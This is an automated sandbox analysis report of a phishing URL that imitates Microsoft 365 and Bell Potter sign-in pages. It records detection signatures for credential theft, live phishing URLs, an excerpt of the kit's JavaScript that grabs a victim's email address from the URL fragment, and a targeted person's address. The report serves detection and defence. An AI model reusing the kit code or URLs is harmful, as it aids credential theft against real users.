Edit tour

Windows Analysis Report
http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=

Overview

General Information

Sample URL:	http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=
Analysis ID:	1596587
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

Yara detected HtmlPhish46

Yara detected HtmlPhish54

AI detected suspicious Javascript

Performs DNS queries to domains with low reputation

Detected hidden input values containing email addresses (often used in phishing pages)

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains string obfuscation

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1748 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5628 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2360,i,1436909848134509898,18308899759362046418,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.4.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.17.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.32.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.26.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.5.pages.csv	JoeSecurity_HtmlPhish_46	Yara detected HtmlPhish_46	Joe Security
4.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.6.pages.csv	JoeSecurity_HtmlPhish_46	Yara detected HtmlPhish_46	Joe Security
4.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 6 entries

Suricata Signatures

ETPRO PHISHING Successful Microsoft Account Phish 2018-08-15

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T07:24:53.232549+0100	2832180	1	Successful Credential Theft Detected	192.168.2.4	49843	173.46.80.217	443	TCP

ETPRO PHISHING Successful Microsoft Account Phish 2020-01-14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T07:24:53.232549+0100	2840426	1	Successful Credential Theft Detected	192.168.2.4	49843	173.46.80.217	443	TCP

ETPRO PHISHING Successful Microsoft Account Phish 2020-12-15

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T07:24:53.232549+0100	2846045	1	Successful Credential Theft Detected	192.168.2.4	49843	173.46.80.217	443	TCP

ETPRO PHISHING Successful Office 365 Phish 2018-08-01

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T07:24:53.232549+0100	2832046	1	Successful Credential Theft Detected	192.168.2.4	49843	173.46.80.217	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'login.loraintoolsltd.xyz' does not match the legitimate domain for Microsoft., The domain 'loraintoolsltd.xyz' is not associated with Microsoft and appears unrelated., The use of a generic domain extension '.xyz' and an unrelated domain name is suspicious., The presence of 'login' in the subdomain could be an attempt to mimic a legitimate login page, which is a common phishing tactic. DOM: 4.5.pages.csv
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	Joe Sandbox AI: Score: 9 Reasons: The brand 'Bell Potter' is a known financial services company in Australia., The legitimate domain for Bell Potter is 'bellpotter.com.au'., The provided URL 'login.loraintoolsltd.xyz' does not match the legitimate domain., The domain 'loraintoolsltd.xyz' is unrelated to Bell Potter and uses an unusual domain extension '.xyz'., The presence of a login page with a password field on an unrelated domain is suspicious. DOM: 4.6.pages.csv
Source: https://login.loraintoolsltd.xyz/common/login	Joe Sandbox AI: Score: 9 Reasons: The brand 'Bell Potter' is a known financial services company in Australia., The legitimate domain for Bell Potter is 'bellpotter.com.au'., The URL 'login.loraintoolsltd.xyz' does not match the legitimate domain of Bell Potter., The domain 'loraintoolsltd.xyz' is unrelated to Bell Potter and uses an unusual domain extension '.xyz', which is often used in phishing., The presence of a login page with a password field on an unrelated domain is suspicious. DOM: 5.7.pages.csv

Yara detected HtmlPhish46

Source: Yara match	File source: 4.5.pages.csv, type: HTML
Source: Yara match	File source: 4.6.pages.csv, type: HTML

Yara detected HtmlPhish54

Source: Yara match	File source: 1.4.id.script.csv, type: HTML
Source: Yara match	File source: 1.17.i.script.csv, type: HTML
Source: Yara match	File source: 1.32.i.script.csv, type: HTML
Source: Yara match	File source: 1.26.id.script.csv, type: HTML
Source: Yara match	File source: 3.3.pages.csv, type: HTML
Source: Yara match	File source: 4.4.pages.csv, type: HTML
Source: Yara match	File source: 4.5.pages.csv, type: HTML
Source: Yara match	File source: 4.6.pages.csv, type: HTML
Source: Yara match	File source: 5.7.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@be... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious redirection. The script appears to be a phishing attempt, as it collects user email data from the URL fragment and redirects the user to a malicious 'login' page. This behavior is highly suspicious and poses a significant security risk.

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=

HTTP Parser: jrofe@bellpotter.com.au

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#jrofe@bellpotter.com.au	HTTP Parser: Number of links: 0
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: Number of links: 0
Source: https://login.loraintoolsltd.xyz/common/login	HTTP Parser: Number of links: 1

HTTP Parser: Base64 decoded: 88a22f01-0bdb-4b87-b0c8-69ed1fd6fca36ac6a11a-3432-4b3e-a042-af8c182d3a3a

Source: https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@bellpotter.com.au

HTTP Parser: Found new string: script . // Callback for the Turnstile verification. function onloadTurnstileCallback() {. turnstile.render('#turnstileCaptcha', {. sitekey: '0x4AAAAAAA5pnBhoTgM91kpZ',. callback: function(response) {. // Enable the button after successful verification. const verifyButton = document.getElementById('verifyButton');. if (verifyButton) {. verifyButton.style.opacity = '1'; // Make button fully visible. verifyButton.style.pointerEvents = 'auto'; // Enable pointer events. }. }. });. }.. // Function to extract and display the fragment. function displayEmailFromFragment() {. var fragment = window.location.hash;. if (fragment) {. var email = fragment.substring(1).replace(/=*$/, '');. var emailDisplay = document.getElementById('grabbed-email');. ...

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#jrofe@bellpotter.com.au	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: Title: Sign in to your account does not match URL
Source: https://login.loraintoolsltd.xyz/common/login	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: <input type="password" .../> found
Source: https://login.loraintoolsltd.xyz/common/login	HTTP Parser: <input type="password" .../> found

Source: https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@bellpotter.com.au	HTTP Parser: No favicon
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#jrofe@bellpotter.com.au	HTTP Parser: No favicon

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#jrofe@bellpotter.com.au	HTTP Parser: No <meta name="author".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: No <meta name="author".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: No <meta name="author".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: No <meta name="author".. found
Source: https://login.loraintoolsltd.xyz/common/login	HTTP Parser: No <meta name="author".. found

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#jrofe@bellpotter.com.au	HTTP Parser: No <meta name="copyright".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: No <meta name="copyright".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: No <meta name="copyright".. found
